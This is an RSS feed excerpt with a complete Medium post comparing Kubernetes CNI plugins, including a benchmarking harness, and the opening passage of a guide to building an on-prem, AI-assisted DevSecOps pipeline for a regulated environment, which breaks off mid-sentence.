            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*-Hso6BsoEjzXULOTvTwTLQ.jpeg" /><figcaption>Kubernetes networking: which CNI, and does the performance difference matter?</figcaption></figure><p>Every few months somebody sends me a benchmark showing one CNI beating another by 40 percent, and asks whether we should switch. My answer has been the same for a while: the benchmark is probably true for the setup it was run on, it probably doesn’t apply to yours, and the thing that actually decides your cluster’s network performance isn’t which project you picked. It’s four or five configuration choices that every CNI exposes, and most people leave on the defaults.</p><p>So this post is in two halves. First, what actually determines pod-to-pod and pod-to-service performance, regardless of vendor. Then the CNIs you’re likely to pick from, how each one handles those factors, and a harness you can run in an afternoon to get numbers from your own hardware instead of somebody’s blog.</p><p>I’ll use “CNI” loosely to mean the whole networking plugin, as everyone does. Strictly the CNI is just the interface spec; Calico, Cilium and the rest are implementations of it.</p><h3>What a packet actually goes through</h3><p>Two pods on different nodes want to talk. The path is: application → pod’s virtual interface → node’s network stack → (maybe) encapsulation → physical NIC → wire → other NIC → (maybe) decapsulation → node stack → policy check → pod interface → application. Each arrow costs CPU cycles and microseconds. The CNI decides how many of those arrows exist and how expensive each one is.</p><p>There are five decisions in that path that matter more than the name on the Helm chart.</p><p><strong>Overlay or native routing.</strong> An overlay (VXLAN, Geneve, IP-in-IP, WireGuard) wraps every pod packet in another packet so it can cross a network that doesn’t know about pod IPs. That costs around 50 bytes of headers, one extra encapsulation and decapsulation per packet, and, unless your NIC offloads it, CPU. Native routing means the underlying network routes pod IPs directly: either the nodes run BGP and tell the switches where the pod ranges live, or the cloud’s VPC handles it. No wrapping, no MTU games, close to host-network speed. Every serious CNI supports both; the default is almost always an overlay because it works on any network without asking anyone. If you control the network, or you’re in a cloud whose CNI integrates with the VPC, native routing is the biggest single performance win available and it’s free.</p><p><strong>iptables or eBPF for services and policy.</strong> kube-proxy’s default programs Service routing with iptables rules, one chain per service, evaluated in sequence. At a hundred services this is invisible. At a few thousand, every new connection walks a long list, and NetworkPolicy adds another list on top. An eBPF datapath replaces that with hash-table lookups that don’t grow with the number of services or rules. This is the difference behind most of the “Cilium is 30 percent faster” headlines, and Calico’s eBPF mode closes most of the gap. If you’re running a small cluster with few services, you won’t measure it. If you have thousands of services or hundreds of policies, you will.</p><p><strong>Connection tracking.</strong> Every CNI that does policy or NAT keeps state per connection. Under a connection-heavy load (many short HTTP requests, no keep-alive) the conntrack table and the lock around it become the bottleneck before the wire does. eBPF datapaths have their own conntrack that scales better; iptables conntrack is shared with the whole host and has a fixed size that you will eventually hit, at which point new connections are silently dropped.</p><p><strong>MTU.</strong> The physical network is 1500 bytes (or 9000 with jumbo frames). An overlay eats 50 of those, so pod MTU should be 1450, and if it isn’t, packets fragment and throughput falls off a cliff while everything still technically works. Every CNI has an MTU setting and most auto-detect it correctly; when they don’t, this is the first thing to check when throughput is inexplicably bad. Jumbo frames end to end, if your switches allow it, give an easy 10 to 20 percent on bulk throughput because there are fewer packets per byte.</p><p><strong>Encryption.</strong> WireGuard or IPsec between nodes costs CPU, typically 20 to 40 percent of throughput on nodes without crypto offload, and adds latency. If you need it, turn it on and measure. If your nodes are on a private network you already trust, it’s a cost with no benefit.</p><p>Everything below is about how each project makes those five choices, and what they default to.</p><h3>The options</h3><p><strong>Flannel</strong> is the oldest and simplest. VXLAN overlay by default, host-gw mode (native routing when all nodes are on one L2 segment) as an option, no NetworkPolicy, no eBPF, relies on kube-proxy. It has one job and does it in a few megabytes of memory. It’s the right answer for a lab, an edge box, or a cluster where nobody will ever write a NetworkPolicy. It’s the wrong answer the day someone asks for one, because you’ll be adding Calico on top for policy anyway.</p><p><strong>Calico</strong> is the one most on-prem clusters I’ve seen actually run. Native routing with BGP is its original mode and what it’s best at; IP-in-IP and VXLAN overlays exist for networks that can’t do BGP. Full NetworkPolicy plus its own richer policy API. The iptables datapath is the default and well understood; the eBPF datapath (bpfEnabled: true) replaces kube-proxy and brings it close to Cilium&#39;s numbers on most tests. Encryption via WireGuard. It&#39;s conservative, which is a compliment when it&#39;s the thing carrying production traffic.</p><p><strong>Cilium</strong> is built on eBPF from the ground up and has become the default in a lot of places: GKE’s Dataplane V2 is Cilium, and several distributions ship it. It replaces kube-proxy by default, does Geneve or VXLAN overlay or native routing, policy at L3, L4 and L7 (it can say “this pod may call GET /api/v1/orders on that service and nothing else&quot;), and ships Hubble, which is the best network observability I&#39;ve used on Kubernetes. The costs: it needs a recent kernel (5.10 or newer to get the good paths, and the docs are honest about which features need which kernel), it uses more memory per node than the others, and there&#39;s more to learn. On the numbers, Cilium in native-routing mode with kube-proxy replacement is the fastest general-purpose option I&#39;ve measured, and the gap over Calico eBPF is small enough that I wouldn&#39;t switch a working cluster for it.</p><p><strong>Antrea</strong> is the Open vSwitch-based one, from VMware. Geneve overlay by default, policy, an increasingly good story on Windows nodes, which is its main distinguishing feature. If you have Windows workers it’s on the shortlist; otherwise it’s a solid but less common choice.</p><p><strong>kube-router</strong> does BGP native routing, policy and service proxy in one small binary using IPVS. Lightweight, fast on native routing, small community. I’ve seen it work well in places that wanted Calico’s routing model with less machinery.</p><p><strong>The cloud CNIs</strong> are their own category. AWS VPC CNI gives pods real VPC IPs, so there’s no overlay and performance is essentially instance-network performance, but it consumes VPC addresses fast and has per-instance IP limits that surprise people. Azure CNI does the same on Azure, with an overlay mode now for address conservation. GKE’s default is Cilium. In all three cases the practical advice is: use the cloud CNI unless you have a specific reason not to, because they’re integrated with the load balancers, security groups and IAM in ways a third-party CNI can’t match, and the performance is already native.</p><p><strong>Weave Net</strong> is worth mentioning only to say it’s archived. It was a good simple overlay for years; don’t start anything new on it.</p><p>Here’s how they line up on the five factors:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ntGZHOqYOWidjJYCVh0qTw.png" /></figure><h3>What the numbers actually look like</h3><p>I’m going to give ranges rather than a table of decimals, because the decimals are specific to the hardware and I don’t want anyone quoting them. These are what I’ve seen across several clusters and what published benchmarks, including Cilium’s own, tend to agree on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LNVM1UvaW1fOiRtHi6c0XQ.png" /></figure><p><em>Bulk throughput, pod to pod, one stream, 10 GbE, no encryption.</em> Native routing with any CNI: 9 to 9.5 Gbps, within a few percent of host network. VXLAN or Geneve overlay: 7 to 9 Gbps depending on NIC offload; older NICs or virtualised NICs sit at the bottom of that range. IP-in-IP is slightly cheaper than VXLAN. With WireGuard on top: 5 to 7 Gbps on a modern CPU, and it eats a core doing it.</p><p><em>Request latency, small HTTP request, pod to service to pod.</em> Native routing plus eBPF (Cilium, or Calico eBPF): roughly 100 to 200 microseconds added over host-to-host. Overlay plus iptables: 200 to 400. The gap between the two grows with the number of services and policies, which is the point.</p><p><em>Requests per second, many short connections.</em> This is where the datapaths separate most. On the same hardware, an eBPF datapath with kube-proxy replacement has handled roughly 1.5 to 2 times the new connections per second of iptables kube-proxy before CPU became the limit, because the connection-setup path is shorter and conntrack scales better.</p><p><em>CPU cost per gigabit.</em> Overlay encapsulation without NIC offload costs a noticeable fraction of a core per gigabit; native routing costs almost nothing extra. On a node that’s also running real workloads, that’s CPU your application doesn’t get.</p><p><em>Memory per node.</em> Flannel: tens of megabytes. Calico: 100 to 250 MB depending on pod count and mode. Cilium: 200 to 500 MB, more with Hubble and high pod density. Not a problem on a 64 GB node; worth knowing on a 4 GB edge box.</p><p>The pattern in all of that: <strong>the routing mode and the datapath matter far more than the project name.</strong> Calico in BGP mode with eBPF and Cilium in native routing with eBPF are close. Flannel VXLAN and Calico VXLAN with iptables are close. The interesting comparison is native+eBPF versus overlay+iptables, and that’s a configuration decision you can make with whichever CNI you already have.</p><h3>Measure it yourself</h3><p>Anyone’s benchmark, including mine, is a starting point. This takes about an hour and gives you real numbers. Run it with your current CNI configuration, then again after any change.</p><p>Throughput and latency, pod to pod across nodes:</p><pre># Server pod pinned to one node<br>kubectl run iperf-server --image=networkstatic/iperf3 --restart=Never \<br>  --overrides=&#39;{&quot;spec&quot;:{&quot;nodeName&quot;:&quot;worker-1&quot;}}&#39; -- -s<br># Client pod on a different node; grab the server pod IP first<br>SERVER_IP=$(kubectl get pod iperf-server -o jsonpath=&#39;{.status.podIP}&#39;)<br># Single stream TCP throughput, 30 seconds<br>kubectl run iperf-client --image=networkstatic/iperf3 --restart=Never -it --rm \<br>  --overrides=&#39;{&quot;spec&quot;:{&quot;nodeName&quot;:&quot;worker-2&quot;}}&#39; -- -c $SERVER_IP -t 30<br># Eight parallel streams, which is closer to a busy service<br>kubectl run iperf-client --image=networkstatic/iperf3 --restart=Never -it --rm \<br>  --overrides=&#39;{&quot;spec&quot;:{&quot;nodeName&quot;:&quot;worker-2&quot;}}&#39; -- -c $SERVER_IP -t 30 -P 8<br># UDP with a small packet size to see per-packet cost rather than bandwidth<br>kubectl run iperf-client --image=networkstatic/iperf3 --restart=Never -it --rm \<br>  --overrides=&#39;{&quot;spec&quot;:{&quot;nodeName&quot;:&quot;worker-2&quot;}}&#39; -- -c $SERVER_IP -u -b 0 -l 64 -t 30</pre><p>Run the same client from a host-network pod (hostNetwork: true in the overrides) to get your baseline. The difference between that and the pod-network number is the CNI&#39;s cost.</p><p>Request latency and connection rate through a Service, which is what applications actually experience:</p><pre>kubectl create deployment web --image=nginx --replicas=3<br>kubectl expose deployment web --port=80<br># fortio does HTTP load with latency percentiles; run it from another node<br>kubectl run fortio --image=fortio/fortio --restart=Never -it --rm \<br>  --overrides=&#39;{&quot;spec&quot;:{&quot;nodeName&quot;:&quot;worker-2&quot;}}&#39; -- \<br>  load -qps 0 -c 64 -t 60s http://web/<br># Same, but a new connection per request, to stress conntrack and the service path<br>kubectl run fortio --image=fortio/fortio --restart=Never -it --rm \<br>  --overrides=&#39;{&quot;spec&quot;:{&quot;nodeName&quot;:&quot;worker-2&quot;}}&#39; -- \<br>  load -qps 0 -c 64 -t 60s -H &quot;Connection: close&quot; http://web/</pre><p>Look at p50 and p99 latency and the achieved QPS. Then, and this is the part most benchmarks skip, create a few hundred dummy Services and a few dozen NetworkPolicies and run it again:</p><pre>for i in $(seq 1 500); do<br>  kubectl create service clusterip dummy-$i --tcp=80:80 &gt;/dev/null<br>done</pre><p>If the numbers don’t move, your datapath handles scale and you can stop worrying. If p99 doubles, you’ve just seen why people switch to eBPF, on your own hardware, with no vendor in the room.</p><p>Two more checks while you’re there. ip link show inside a pod to confirm the MTU is what you expect (1450 for VXLAN on a 1500 network, 1500 for native routing). And cat /proc/sys/net/netfilter/nf_conntrack_count versus nf_conntrack_max on a busy node; if count is anywhere near max you have a problem that no CNI change will fix until you raise the limit.</p><h3>What I’d actually do</h3><p>Small cluster, few services, no policy requirements, especially at the edge: Flannel, host-gw if the nodes share an L2 segment, VXLAN otherwise. Don’t overthink it.</p><p>On-prem with your own switches: Calico or Cilium in native routing mode with BGP to the top-of-rack switches, eBPF datapath on. This is the configuration that gets you to within a few percent of bare metal, and the choice between the two comes down to whether you want L7 policy and Hubble (Cilium) or the more conservative, longer-established option (Calico). Both are fine. Pick the one your team can debug at 3 a.m.</p><p>On-prem where you can’t touch the switches: same two, but VXLAN overlay, and push for jumbo frames on the host network to claw some of the overhead back.</p><p>In a cloud: the cloud’s own CNI unless you have a concrete reason to replace it, such as needing L7 policy or running out of VPC addresses. If you do replace it, Cilium is the one with the most cloud-specific integration work behind it.</p><p>Anywhere with thousands of services or hundreds of policies: eBPF datapath, no exceptions. This is the one case where the choice is measurable in user-facing latency.</p><p>And whichever you choose: native routing if the network allows it, MTU checked, conntrack limit raised, encryption only where it’s actually required. Those four settings are worth more than any migration.</p><p>If you want to go deeper, the Cilium project’s own <a href="https://cilium.io/blog/2021/05/11/cni-benchmark/">CNI benchmark write-up</a> is old but still the clearest explanation of <em>why</em> the datapath differences exist, and the Calico <a href="https://docs.tigera.io/calico/latest/operations/ebpf/">eBPF dataplane docs</a> are honest about the trade-offs of turning it on. For the kernel-level detail, the <a href="https://docs.cilium.io/en/stable/operations/system_requirements/">Cilium system requirements page</a> lists which features need which kernel version, which is the most common reason an eBPF migration stalls.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=918de3077893" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building an AI-assisted DevSecOps pipeline for a highly regulated on-prem environment: the full…]]></title>
            <link>https://medium.com/@kmoussa/building-an-ai-assisted-devsecops-pipeline-for-a-highly-regulated-on-prem-environment-the-full-c620a5480f15?source=rss-5266ae0c4640------2</link>
            <guid isPermaLink="false">https://medium.com/p/c620a5480f15</guid>
            <category><![CDATA[on-prem]]></category>
            <category><![CDATA[ai-assisted-devops]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[highly-regulatory]]></category>
            <dc:creator><![CDATA[Karim Moussa]]></dc:creator>
            <pubDate>Fri, 25 Sep 2026 22:53:08 GMT</pubDate>
            <atom:updated>2026-09-25T22:53:08.074Z</atom:updated>
            <content:encoded><![CDATA[<h3>Building an AI-assisted DevSecOps pipeline for a highly regulated on-prem environment: the full step-by-step guide</h3><p>I work in a regulated financial environment where the rules are simple to state and hard to live with: no public cloud, no SaaS scanners, no source code or customer data leaving the network, segregation of duties on every production change, and evidence for everything, kept for years. I also wanted AI in the loop, because a small team benefits enormously from a good first-pass reviewer and from agents that can implement well-specified work.</p><p>This is the guide I wish I had when I started. It is long on purpose. It covers every VM, every zone, every gate, every policy and every workflow file, in the order I would build them again. The stack in the examples is .NET 8 and React on Kubernetes, with GitHub Enterprise Server and self-hosted Actions runners on VMs, but the shape works for any stack. Where I give a number (a VM size, a threshold, a retention period), treat it as a starting point and confirm it against your own regulator.</p><h3>Part 1: Scope, assumptions and the seven rules</h3><h3>What I assume you have</h3><ul><li>Source control: GitHub Enterprise Server (GHES) installed on-prem. If you use GitHub.com with self-hosted runners only, skip the GHES install in Part 4 and keep everything else, accepting that code metadata lives at GitHub.</li><li>Runners: self-hosted Actions runners on Linux VMs, ephemeral (one job, then destroyed). If you already run Kubernetes for CI, use Actions Runner Controller instead of VMs; the security posture is the same.</li><li>Virtualisation: vSphere, Proxmox or Hyper-V, and the ability to clone VMs from a template. On bare metal, build the templates with Packer and cloud-init on kickstart.</li><li>Workloads: Kubernetes with Istio. On plain VMs, replace Argo CD with Ansible-driven deploys and keep the same gates.</li><li>Regulation: public cloud forbidden, data residency, audit trails, segregation of duties, periodic independent security testing.</li><li>Team: two to four engineers for roughly twelve weeks.</li></ul><h3>The seven rules</h3><p>I wrote these before choosing a single tool, and got compliance to sign them. Every later decision follows from them, and any design that breaks one is rejected without discussion.</p><ol><li>Nothing sensitive leaves the network. Source code, secrets, customer data, bank configuration and logs stay inside your zones. AI models that see code run on your hardware unless compliance signs a written exception.</li><li>No human deploys to production by hand. Production changes only through a signed artifact promoted by the pipeline after two-person approval. kubectl access to production is break-glass only, logged and reviewed.</li><li>Segregation of duties. Whoever writes code cannot approve it. Whoever approves cannot deploy it. An AI agent is the author of what it writes and can never approve anything.</li><li>Fail closed. A scanner that is down blocks the pipeline. It never gets skipped.</li><li>Everything signed, everything verified. Commits, images, SBOMs and deployment manifests carry signatures. The cluster refuses anything unsigned.</li><li>Every action leaves evidence: who, what, when, which tool version, which result, stored immutably for the retention period your regulator demands. I assume seven years; confirm yours.</li><li>AI output is untrusted input. Code, reviews and test cases from a model go through the same gates as code from a contractor you have never met.</li></ol><h3>Where AI is used</h3><p>Five places, each with a human owner and a kill switch: a first-pass PR reviewer, a coding agent working from written specs in isolated branches, a test-generation agent, a triage agent that explains scanner findings, and an evidence agent that assembles due-diligence packs. Part 7 covers all five.</p><h3>Out of scope</h3><p>Developer laptop security, physical data-centre controls, business continuity for the data centre itself, and the application-level security of the product. Each needs its own plan.</p><h3>Part 2: Target architecture and VM inventory</h3><p>The pipeline lives in four network zones. Code moves from build to runtime; nothing on the runtime side can reach back except through the evidence store.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vBNIXH4rh33WNbb9Z6mepQ.png" /><figcaption>Four zones, one direction. Code moves from build to runtime; evidence moves to Zone 4 and nothing comes back.</figcaption></figure><p>Developers never touch clusters. Runners build and scan, push to Harbor, and Argo CD pulls from Harbor into clusters. The AI zone is reachable only from runners and the reviewer service, never from clusters or the internet.</p><h3>The four zones</h3><p><strong>Zone 1, Build.</strong> GHES, runners, registry, scanners, Vault. Inbound: developers on HTTPS 443 and SSH 22 to GHES only; Argo CD reading from Harbor. Outbound: Zone 3 on 8000, Zone 4 on 9000, internal package mirrors, and the internet only through an allow-listed egress proxy for mirror upstreams.</p><p><strong>Zone 2, Runtime.</strong> Staging and production Kubernetes clusters. Inbound: load balancer 443, Argo CD from Zone 1. Outbound: Zone 4 for logs and audit, Harbor pull only.</p><p><strong>Zone 3, AI.</strong> GPU VMs serving models and the reviewer service. Inbound: Zone 1 runners and reviewer only. Outbound: none. Air-gapped after the model files are loaded.</p><p><strong>Zone 4, Evidence.</strong> MinIO with WORM buckets, OpenSearch, Grafana. Inbound: Zones 1 and 2, compliance analysts read-only. Outbound: none.</p><p>Production and staging are separate clusters, not namespaces in one cluster. A namespace boundary is not a regulatory boundary.</p><h3>VM inventory</h3><p>Sizes are for a team of ten to twenty engineers shipping daily. Every VM runs Ubuntu 24.04 LTS or RHEL 9 hardened to CIS Level 1 (Part 3). Thin-provisioned SSD, nightly backups to a separate array. Format is <strong>name, role, vCPU / RAM / disk, count, zone</strong>.</p><ul><li>ghes-01: GitHub Enterprise Server appliance, 8 vCPU / 64 GB / 200 GB root + 500 GB data, 1 plus a standby replica, Zone 1</li><li>runner-tmpl: golden image for ephemeral runners, 4 / 16 / 100, template, Zone 1</li><li>runner-NN: ephemeral Actions runners cloned from the template, 4 / 16 / 100, 6 to 12, Zone 1</li><li>runner-heavy-NN: runners for DAST, fuzzing and full test suites, 8 / 32 / 200, 2, Zone 1</li><li>harbor-01: Harbor registry with Trivy and cosign, 4 / 16 / 1000, 1 plus replica, Zone 1</li><li>sonar-01: SonarQube Server with PostgreSQL, 4 / 16 / 200, 1, Zone 1</li><li>dojo-01: DefectDojo with PostgreSQL, 4 / 8 / 100, 1, Zone 1</li><li>vault-01..03: HashiCorp Vault, Raft, 2 / 8 / 50 each, 3, Zone 1</li><li>mirror-01: Nexus Repository for NuGet, npm, apt and PyPI mirrors, 4 / 16 / 1000, 1, Zone 1</li><li>gpu-01: vLLM model server with two 48 GB datacenter GPUs (or two 80 GB), 16 / 128 / 1000, 1 plus one for HA, Zone 3</li><li>reviewer-01: AI reviewer and triage services as containers, 4 / 16 / 100, 1, Zone 3</li><li>argocd-01: Argo CD, 4 / 8 / 50, 1, Zone 1 or a management cluster</li><li>minio-01..04: evidence store, erasure coded, WORM, 4 / 16 / 2000 each, 4, Zone 4</li><li>obs-01: OpenSearch, Grafana, Prometheus long-term store, 8 / 32 / 2000, 1 plus one, Zone 4</li><li>zap-01: scheduled deep DAST and Nuclei scans, 4 / 16 / 100, 1, Zone 1</li><li>bastion-01: jump host with session recording and MFA, 2 / 4 / 50, 1, Zone 1</li></ul><p>Total before HA: about 110 vCPU, 480 GB RAM, 12 TB disk, plus two GPUs. With HA copies, roughly 1.5 times that.</p><h3>GPU sizing</h3><p>Two 48 GB cards run a 32B-parameter coding model in FP8 with a 32K context comfortably and serve a ten-engineer team for PR review and agent work. Two 80 GB cards run a 70B model at 4-bit, or two 32B models side by side. Start with the 32B class and measure review quality for a month before spending more.</p><h3>The software bill</h3><ul><li>Source, PRs, CI: GitHub Enterprise Server (commercial). Actions on-prem.</li><li>Registry: Harbor (Apache 2). Built-in scanning, signing, replication, RBAC.</li><li>SAST: SonarQube Server, Developer edition or above (commercial), plus Semgrep OSS (LGPL) for custom rules.</li><li>Secrets scanning: gitleaks (MIT).</li><li>SCA and SBOM: Trivy, Syft, Grype (Apache 2). CycloneDX output, scans NuGet and npm.</li><li>IaC scanning: Checkov, kube-linter (Apache 2).</li><li>DAST: OWASP ZAP (Apache 2), Nuclei (MIT).</li><li>API fuzzing: Schemathesis (MIT). Reads your OpenAPI spec.</li><li>Signing: cosign, either key-based or with a private Sigstore (Rekor, Fulcio).</li><li>Admission policy: OPA Gatekeeper (Apache 2) with Ratify as its external data provider for signature and attestation verification. Rego policies are readable, testable with opa test, and the same language runs in CI (conftest), so one policy set covers manifests before merge and at admission.</li><li>GitOps: Argo CD and Argo Rollouts (Apache 2).</li><li>Secrets: HashiCorp Vault (BSL) with External Secrets Operator (Apache 2).</li><li>Vulnerability management: DefectDojo (BSD). Aggregates every scanner, deduplicates, tracks SLAs.</li><li>Runtime detection: Falco (Apache 2).</li><li>Model serving: vLLM (Apache 2). OpenAI-compatible API.</li><li>Evidence: MinIO with object lock (AGPL) and OpenSearch (Apache 2).</li></ul><h3>Part 3: Phase 0, foundation (weeks 1 to 2)</h3><p>Nothing later works reliably until identity, PKI, secrets, time and DNS are solid. Do these first, in this order.</p><h3>3.1 Network</h3><ol><li>Create the VLANs on your core switch or distributed switch: z1-build, z2-runtime-stg, z2-runtime-prd, z3-ai, z4-evidence.</li><li>Put a firewall between every pair of zones. Default deny. Write the allow rules from Part 2 as explicit rules, each with a ticket reference in its description. You will thank yourself at audit time.</li><li>Build an egress proxy (Squid) in Zone 1 with an allow-list of exactly your package mirror upstreams: nuget.org, registry.npmjs.org, pypi.org, archive.ubuntu.com, ghcr.io for tool images. Nothing else. All runners and Nexus use this proxy. Log every request to Zone 4.</li><li>Zone 3 gets no proxy. After models are loaded, delete its egress rule entirely.</li><li>Developer access: VPN with MFA terminating in a DMZ that reaches only GHES on 443 and 22 and the bastion. No developer VLAN reaches Zone 2 or Zone 3.</li></ol><h3>3.2 Identity</h3><ol><li>Stand up or connect to your IdP (Keycloak on-prem, or Entra ID / AD FS if you run AD on-prem). Every tool in this guide authenticates via SAML or OIDC to it. No local accounts except one break-glass admin per tool, stored in Vault.</li><li>Create groups: dev, reviewer, release-approver, sec-approver, platform-admin, compliance-reader. A person may hold dev and reviewer, never dev and release-approver for the same repository.</li><li>Enforce MFA at the IdP for every group. Hardware keys if you can.</li><li>One service account per integration (svc-argocd, svc-harbor-pull, svc-reviewer), created in Vault and rotated automatically.</li></ol><h3>3.3 PKI</h3><ol><li>Create an offline root CA. Keep it on an encrypted USB in a safe with two-person access. Create an intermediate CA in Vault’s PKI engine, signed by the root.</li><li>Issue TLS certificates for every service from the Vault intermediate. Distribute the root certificate to every VM (/usr/local/share/ca-certificates/), every runner image and every Kubernetes node.</li><li>Create a second intermediate for code and image signing, used by cosign in key mode or by a private Fulcio if you go keyless.</li><li>Log every issued certificate to Zone 4. It is your own certificate transparency.</li></ol><h3>3.4 Secrets</h3><ol><li>Install Vault as a three-node Raft cluster. Auto-unseal with an HSM if you have one; otherwise Shamir with five key holders, threshold three, holders from different teams.</li><li>Enable engines: kv-v2 for static secrets, pki from 3.3, database for dynamic database credentials, transit for encryption as a service (used by the evidence store and by cosign).</li><li>Enable an audit device to a file shipped to Zone 4. Vault refuses to run if the audit device fails. That is the behaviour you want.</li><li>Auth methods: OIDC for humans, JWT for GitHub Actions tokens from GHES (Part 4), Kubernetes for pods via External Secrets Operator.</li><li>Policy: runners read only the secrets of the repository they run for, scoped by the JWT repository claim. Nothing in Zone 1 reads production secrets.</li></ol><h3>3.5 Time and DNS</h3><ol><li>Two internal NTP servers synced to GPS, radio or a stratum-1 you trust. Every VM and node syncs to them. Signatures and audit trails are worthless with drifting clocks.</li><li>Internal DNS with a zone per environment: *.build.internal, *.stg.internal, *.prd.internal, *.ai.internal. DNSSEC on.</li></ol><h3>3.6 Package mirrors</h3><ol><li>Install Nexus Repository OSS on mirror-01. Create proxy repositories for NuGet, npm, PyPI and apt, and a Docker proxy for the public images you allow (distroless, alpine, the official .NET images).</li><li>Configure every runner and developer machine to use only these mirrors. Block direct access at the firewall.</li><li>Quarantine new package versions until Trivy has scanned them. Nexus Firewall does this in the Pro edition; in OSS, a nightly Trivy job over the blob store is close enough.</li></ol><h3>3.7 Hardening baseline</h3><ol><li>Build a golden VM template with Packer: Ubuntu 24.04, CIS Level 1 via the ansible-lockdown role, auditd rules for privilege escalation and changes under /etc, unattended security updates from your apt mirror, SSH keys only, root login disabled, osquery shipping to Zone 4.</li><li>Every VM in Part 2 is cloned from this template. Rebuild the template monthly. Never patch a long-lived VM by hand.</li><li>Run OpenSCAP against every VM weekly. Results go to Zone 4 and to DefectDojo as findings.</li></ol><h3>3.8 Exit criteria</h3><ul><li>Firewall rules exported and attached to the change ticket</li><li>Every human logs into every tool via the IdP with MFA</li><li>Vault audit log visible in OpenSearch</li><li>Internal CA trusted on all VMs (curl https://vault.build.internal succeeds without -k)</li><li>Runner image builds from Packer in under fifteen minutes and passes OpenSCAP</li></ul><h3>Part 4: Phase 1, GitHub Enterprise Server and self-hosted runners (weeks 2 to 4)</h3><p>At the end of this phase a developer opens a PR, an ephemeral runner picks up the job, runs it, and is destroyed.</p><h3>4.1 Install GHES</h3><ol><li>Download the GHES appliance for your hypervisor. Deploy it as ghes-01 in Zone 1 with the sizing from Part 2 and attach the 500 GB data disk.</li><li>First boot: open https://ghes-01/setup, upload your licence, set the hostname to github.build.internal, upload the TLS certificate from Vault PKI.</li><li>Authentication: SAML to your IdP, IdP groups mapped to GitHub teams. Disable built-in authentication except for the break-glass admin.</li><li>Enable GitHub Actions in the management console. Actions needs external blob storage: point it at a dedicated MinIO bucket in Zone 4 using the S3-compatible option.</li><li>Enable GitHub Advanced Security if licensed. If not, everything it does is covered by the open-source tools in Part 6.</li><li>High availability: deploy a second appliance as a replica, enable replication, and test a failover before anyone depends on it.</li><li>Backups: github-backup-utils on a separate VM in Zone 4, hourly incremental snapshots, thirty days retention, restore test monthly.</li><li>Actions in GHES cannot pull actions from github.com without a connection. Either enable GitHub Connect with actions sync only (a narrow outbound connection compliance may accept), or mirror the actions you use into an internal organisation named actions and enable &quot;use actions from this instance&quot;. I mirror.</li></ol><h3>4.2 Repository and organisation policy</h3><ol><li>One organisation per business unit, one repository per service, a platform repository for shared workflows and a deploy repository for Argo CD manifests.</li><li>Organisation settings: require 2FA (enforced at the IdP already; enforce again here), disable forking to personal accounts, disable outside collaborators, default visibility internal.</li><li>Rulesets on main and release/*: require a PR, one human approval from reviewer plus one from sec-approver when files under /security, /auth, /tenancy or any *.sql change (via CODEOWNERS), signed commits, linear history, required status checks, no force pushes, no deletion. Only platform-admin can bypass, and every bypass is exported to Zone 4 weekly and reviewed.</li><li>Commit signing: SSH commit signing or GPG, keys registered via the IdP-linked profile. Unsigned commits are rejected.</li><li>Secret scanning push protection (GHAS) or a server-side pre-receive hook running gitleaks. The hook rejects the push and the developer sees why.</li></ol><h3>4.3 The runner golden image</h3><p>Built with Packer from the Phase 0 template. Contents:</p><ul><li>The Actions runner binary matching your GHES version, downloaded from GHES’s own /actions/runner/releases endpoint</li><li>Docker Engine in rootless mode (or Podman) and BuildKit</li><li>.NET 8 SDK, Node 22 LTS, Python 3.12, Java 17 for SonarScanner</li><li>Tools pinned by version and checksum: gitleaks, semgrep, trivy, syft, grype, cosign, checkov, kube-linter, hadolint, helm, kubectl, argocd CLI, schemathesis, ZAP baseline scripts</li><li>The internal root CA; NuGet, npm and pip configured to Nexus only</li><li>osquery and auditd shipping to Zone 4</li><li>A cloud-init that, on first boot, fetches a one-time registration token from Vault and registers as an ephemeral runner:</li></ul><pre>TOKEN=$(vault read -field=token gh/runner-registration/build)<br>./config.sh --url https://github.build.internal/platform-org \<br>  --token &quot;$TOKEN&quot; --ephemeral --labels linux,x64,build \<br>  --unattended --replace<br>./run.sh</pre><p>--ephemeral deregisters the runner after one job. --unattended --replace lets cloud-init run it with no terminal. The token comes from Vault rather than the image because a token in an image is a token in every backup of that image.</p><p>Rebuild monthly and whenever a tool has a CVE. Tag the image with a version; the workflow records which image version ran each job.</p><h3>4.4 The ephemeral runner pool</h3><p>A runner that survives between jobs leaks caches, credentials and half-built layers from one PR to the next. Use ephemeral runners.</p><ol><li>Write a small controller (a cron job or a 200-line service on the bastion) that keeps N idle runners registered: it queries the GHES API for the idle count, clones from runner-tmpl via the hypervisor API (govc for vSphere, qm clone for Proxmox), and deletes any runner VM that finished a job or is older than four hours.</li><li>Start with N=4 idle, max 12. Heavy pool: N=1, max 2.</li><li>If you already run Kubernetes for tooling, Actions Runner Controller with ephemeral runner scale sets does the same thing faster. Never run it on the production cluster.</li><li>Runner groups in GHES: build (all repositories), deploy-stg and deploy-prd (only the deploy repository, only from protected branches). Production deploy jobs never run on general runners.</li></ol><h3>4.5 Runner hardening</h3><ul><li>Runner user is unprivileged; sudo removed from the image.</li><li>Jobs run in a container by default (container: in the workflow) pulled from Harbor; the host runner only orchestrates.</li><li>Network: runners reach GHES, Harbor, Nexus, Sonar, DefectDojo, Vault, Zone 3 and the egress proxy. Nothing else. Verify with nmap from a runner during acceptance.</li><li>No actions/cache on shared storage. A per-job cache on local disk dies with the VM. Build speed comes from the Nexus mirror and Harbor layer caching instead.</li><li>ACTIONS_RUNNER_HOOK_JOB_STARTED and _COMPLETED hooks write job metadata (repo, run id, image version, runner id) to Zone 4.</li></ul><h3>4.6 Workflow identity, with no long-lived secrets in CI</h3><ol><li>Enable OIDC token issuance in GHES Actions (id-token: write). Each job can mint a short-lived JWT stating repository, branch, workflow and environment.</li><li>Configure Vault’s JWT auth to trust GHES’s issuer (https://github.build.internal/_services/token). Bind roles to claims: repo:org/*:ref:refs/heads/main reads build secrets; repo:org/deploy:environment:production reads the Argo sync token.</li><li>In workflows, exchange the JWT for a Vault token with hashicorp/vault-action and fetch what the job needs. No secrets stored in GitHub at all except the Vault address.</li><li>Harbor robot accounts are minted the same way: 